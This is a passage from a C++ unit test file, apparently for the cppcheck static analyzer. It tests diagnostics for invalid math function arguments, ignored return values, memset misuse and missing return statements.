\"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:25]: (error) Invalid log2l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value 0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value 0. to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value 0.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value 0.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value 0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value 0. to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value 0. to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value 0.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value 0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1. to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(1E-3) << std::endl;\\n\"\n \" std::cout << logf(1E-3) << std::endl;\\n\"\n \" std::cout << logl(1E-3) << std::endl;\\n\"\n \" std::cout << log10(1E-3) << std::endl;\\n\"\n \" std::cout << log10f(1E-3) << std::endl;\\n\"\n \" std::cout << log10l(1E-3) << std::endl;\\n\"\n \" std::cout << log2(1E-3) << std::endl;\\n\"\n \" std::cout << log2f(1E-3) << std::endl;\\n\"\n \" std::cout << log2l(1E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E-3) << std::endl;\\n\"\n \" std::cout << logf(1.0E-3) << std::endl;\\n\"\n \" std::cout << logl(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E+3) << std::endl;\\n\"\n \" std::cout << logf(1.0E+3) << std::endl;\\n\"\n \" std::cout << logl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1p(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pf(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0f) << std::endl;\\n\"\n \" std::cout << log10(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0f) << std::endl;\\n\"\n \" std::cout << log2(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0f) << std::endl;\\n\"\n \" std::cout << log1p(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0f) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string *log(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3473 - no warning if \"log\" is a variable\n check(\"Fred::Fred() : log(0) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5748\n check(\"void f() { foo.log(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_acos() {\n // acos, acosf, acosl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return acos(-1) \\n\"\n \" + acos(0.1) \\n\"\n \" + acos(0.0001) \\n\"\n \" + acos(0.01) \\n\"\n \" + acos(1.0E-1) \\n\"\n \" + acos(-1.0E-1) \\n\"\n \" + acos(+1.0E-1) \\n\"\n \" + acos(0.1E-1) \\n\"\n \" + acos(+0.1E-1) \\n\"\n \" + acos(-0.1E-1) \\n\"\n \" + acosf(-1) \\n\"\n \" + acosf(0.1) \\n\"\n \" + acosf(0.0001) \\n\"\n \" + acosf(0.01) \\n\"\n \" + acosf(1.0E-1) \\n\"\n \" + acosf(-1.0E-1) \\n\"\n \" + acosf(+1.0E-1) \\n\"\n \" + acosf(0.1E-1) \\n\"\n \" + acosf(+0.1E-1) \\n\"\n \" + acosf(-0.1E-1) \\n\"\n \" + acosl(-1) \\n\"\n \" + acosl(0.1) \\n\"\n \" + acosl(0.0001) \\n\"\n \" + acosl(0.01) \\n\"\n \" + acosl(1.0E-1) \\n\"\n \" + acosl(-1.0E-1) \\n\"\n \" + acosl(+1.0E-1) \\n\"\n \" + acosl(0.1E-1) \\n\"\n \" + acosl(+0.1E-1) \\n\"\n \" + acosl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(1.1) << std::endl;\\n\"\n \" std::cout << acosf(1.1) << std::endl;\\n\"\n \" std::cout << acosl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid acos() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid acosf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid acosl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(-1.1) << std::endl;\\n\"\n \" std::cout << acosf(-1.1) << std::endl;\\n\"\n \" std::cout << acosl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid acos() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid acosf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid acosl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_asin() {\n // asin, asinf, asinl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return asin(1) \\n\"\n \" + asin(-1) \\n\"\n \" + asin(0.1) \\n\"\n \" + asin(0.0001) \\n\"\n \" + asin(0.01) \\n\"\n \" + asin(1.0E-1) \\n\"\n \" + asin(-1.0E-1) \\n\"\n \" + asin(+1.0E-1) \\n\"\n \" + asin(0.1E-1) \\n\"\n \" + asin(+0.1E-1) \\n\"\n \" + asin(-0.1E-1) \\n\"\n \" + asinf(1) \\n\"\n \" + asinf(-1) \\n\"\n \" + asinf(0.1) \\n\"\n \" + asinf(0.0001) \\n\"\n \" + asinf(0.01) \\n\"\n \" + asinf(1.0E-1) \\n\"\n \" + asinf(-1.0E-1) \\n\"\n \" + asinf(+1.0E-1) \\n\"\n \" + asinf(0.1E-1) \\n\"\n \" + asinf(+0.1E-1) \\n\"\n \" + asinf(-0.1E-1) \\n\"\n \" + asinl(1) \\n\"\n \" + asinl(-1) \\n\"\n \" + asinl(0.1) \\n\"\n \" + asinl(0.0001) \\n\"\n \" + asinl(0.01) \\n\"\n \" + asinl(1.0E-1) \\n\"\n \" + asinl(-1.0E-1) \\n\"\n \" + asinl(+1.0E-1) \\n\"\n \" + asinl(0.1E-1) \\n\"\n \" + asinl(+0.1E-1) \\n\"\n \" + asinl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(1.1) << std::endl;\\n\"\n \" std::cout << asinf(1.1) << std::endl;\\n\"\n \" std::cout << asinl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid asin() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid asinf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid asinl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(-1.1) << std::endl;\\n\"\n \" std::cout << asinf(-1.1) << std::endl;\\n\"\n \" std::cout << asinl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid asin() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid asinf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid asinl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_pow() {\n // pow, powf, powl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,-10) << std::endl;\\n\"\n \" std::cout << powf(0,-10) << std::endl;\\n\"\n \" std::cout << powl(0,-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and -10 to pow() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and -10 to powf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and -10 to powl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,10) << std::endl;\\n\"\n \" std::cout << powf(0,10) << std::endl;\\n\"\n \" std::cout << powl(0,10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_atan2() {\n // atan2\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(1,1) ;\\n\"\n \" std::cout << atan2(-1,-1) ;\\n\"\n \" std::cout << atan2(0.1,1) ;\\n\"\n \" std::cout << atan2(0.0001,100) ;\\n\"\n \" std::cout << atan2(0.0,1e-1) ;\\n\"\n \" std::cout << atan2(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2(0.1E-1,3) ;\\n\"\n \" std::cout << atan2(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2f(1,1) ;\\n\"\n \" std::cout << atan2f(-1,-1) ;\\n\"\n \" std::cout << atan2f(0.1,1) ;\\n\"\n \" std::cout << atan2f(0.0001,100) ;\\n\"\n \" std::cout << atan2f(0.0,1e-1) ;\\n\"\n \" std::cout << atan2f(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2f(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2f(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2f(0.1E-1,3) ;\\n\"\n \" std::cout << atan2f(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2f(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2l(1,1) ;\\n\"\n \" std::cout << atan2l(-1,-1) ;\\n\"\n \" std::cout << atan2l(0.1,1) ;\\n\"\n \" std::cout << atan2l(0.0001,100) ;\\n\"\n \" std::cout << atan2l(0.0,1e-1) ;\\n\"\n \" std::cout << atan2l(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2l(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2l(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2l(0.1E-1,3) ;\\n\"\n \" std::cout << atan2l(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2l(-0.1E-1,8) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(0,0) << std::endl;\\n\"\n \" std::cout << atan2f(0,0) << std::endl;\\n\"\n \" std::cout << atan2l(0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and 0 to atan2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and 0 to atan2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and 0 to atan2l() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n }\n\n void mathfunctionCall_fmod() {\n // fmod, fmodl, fmodf\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Invalid fmod() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:29]: (error) Invalid fmodf() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:29]: (error) Invalid fmodl() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing values 1.0 and 0 to fmod() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 1.0 and 0 to fmodf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 1.0 and 0 to fmodl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_precision() {\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1);\\n\"\n \" print(log(1 + x));\\n\"\n \" print(1 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1.0);\\n\"\n \" print(log(1.0 + x));\\n\"\n \" print(1.0 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:12]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(3 + x*f(a)) - 1);\\n\"\n \" print(log(x*4 + 1));\\n\"\n \" print(1 - erf(34*x + f(x) - c));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(2*exp(x) - 1);\\n\"\n \" print(1 - erf(x)/2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIgnoredReturnValue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::warning).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:8]: (warning) Return value of function foo::mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" foo x;\\n\"\n \" x.mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function x.mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"bool mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition, but it returns a value. Assume it is the one specified in the library.\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition which returns void!\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" class mystrcmp { mystrcmp() {} };\\n\" // strcmp is a constructor definition here\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(mystrcmp(a, b));\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" bool b = mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6194\n check(\"void foo() {\\n\"\n \" MyStrCmp mystrcmp(x, y);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6197\n check(\"void foo() {\\n\"\n \" abc::def.mystrcmp(a,b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6233\n check(\"int main() {\\n\"\n \" auto lambda = [](double value) {\\n\"\n \" double rounded = floor(value + 0.5);\\n\"\n \" printf(\\\"Rounded value = %f\\\\n\\\", rounded);\\n\"\n \" };\\n\"\n \" lambda(13.3);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6669\n check(\"void foo(size_t size) {\\n\"\n \" void * res{malloc(size)};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7447\n check(\"void foo() {\\n\"\n \" int x{mystrcmp(a,b)};\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7905\n check(\"void foo() {\\n\"\n \" int x({mystrcmp(a,b)});\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // don't crash\n \" DEBUG(123)(mystrcmp(a,b))(fd);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n check(\"struct teststruct {\\n\"\n \" int testfunc1() __attribute__ ((warn_unused_result)) { return 1; }\\n\"\n \" [[nodiscard]] int testfunc2() { return 1; }\\n\"\n \" void foo() { testfunc1(); testfunc2(); }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" teststruct TestStruct1;\\n\"\n \" TestStruct1.testfunc1();\\n\"\n \" TestStruct1.testfunc2();\\n\"\n \" return 0;\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Return value of function testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:4:31]: (warning) Return value of function testfunc2() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:8:17]: (warning) Return value of function TestStruct1.testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:9:17]: (warning) Return value of function TestStruct1.testfunc2() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n // #9006\n check(\"template uint8_t b(std::tuple d) {\\n\"\n \" std::tuple c{std::move(d)};\\n\"\n \" return std::get<0>(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int x; };\\n\"\n \"template \\n\"\n \"A f(int x, Ts... xs) {\\n\"\n \" return {std::move(x), static_cast(xs)...};\\n\"\n \"}\\n\"\n \"A g() { return f(1); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8412 - unused operator result\n check(\"void foo() {\\n\"\n \" !mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" delete *v.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int __attribute__((pure)) p_foo(int);\\n\" // #12697\n \"int __attribute__((const)) c_foo(int);\\n\"\n \"void f() {\\n\"\n \" p_foo(0);\\n\"\n \" c_foo(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Return value of function p_foo() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:5:5]: (warning) Return value of function c_foo() is not used. [ignoredReturnValue]\\n\",\n errout_str());\n }\n\n void checkIgnoredErrorCode() {\n const char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::style).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Error code from the return value of function mystrcmp() is not used. [ignoredReturnErrorCode]\\n\", errout_str());\n }\n\n void memsetZeroBytes() {\n check(\"void f() {\\n\"\n \" memset(p, 10, 0x0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6269 false positives in case of overloaded standard library functions\n check(\"class c {\\n\"\n \" void memset( int i );\\n\"\n \" void f( void ) {\\n\"\n \" memset( 0 );\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7285\n check(\"void f() {\\n\"\n \" memset(&tm, sizeof(tm), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n }\n\n void memsetInvalid2ndParam() {\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 1.0f, 40);\\n\"\n \" int* is2 = new int[10];\\n\"\n \" memset(is2, 0.1f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) The 2nd memset() argument '1.0f' is a float, its representation is implementation defined. [memsetFloat]\\n\"\n \"[test.cpp:5:18]: (portability) The 2nd memset() argument '0.1f' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" float g = computeG();\\n\"\n \" memset(is, g, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (portability) The 2nd memset() argument 'g' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 0.0f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // FP\n \" float x = 2.3f;\\n\"\n \" memset(a, (x?64:0), 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short ss[] = {1, 2};\\n\"\n \" memset(ss, 256, 4);\\n\"\n \" short ss2[2];\\n\"\n \" memset(ss2, -129, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The 2nd memset() argument '256' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\"\n \"[test.cpp:5:18]: (warning) The 2nd memset() argument '-129' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" memset(is, 0xEE, 40);\\n\"\n \" unsigned char* cs = malloc(256);\\n\"\n \" memset(cs, -1, 256);\\n\"\n \" short* ss[30];\\n\"\n \" memset(ss, -128, 60);\\n\"\n \" char cs2[30];\\n\"\n \" memset(cs2, 255, 30);\\n\"\n \" char cs3[30];\\n\"\n \" memset(cs3, 0, 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" const int i = g();\\n\"\n \" memset(is, 1.0f + i, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (portability) The 2nd memset() argument '1.0f+i' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n }\n\n void checkMissingReturn1() {\n check(\"int f() {}\");\n ASSERT_EQUALS(\"[test.cpp:1:10]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n {\n const char code[] = \"int main(void) {}\";\n {\n const Settings s = settingsBuilder().c(Standards::C89).build();\n\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c89)\n ASSERT_EQUALS(\"[test.c:1:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n {\n const Settings s = settingsBuilder().c(Standards::C99).build();\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c99)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.s = &s)); // c++ code\n ASSERT_EQUALS(\"\", 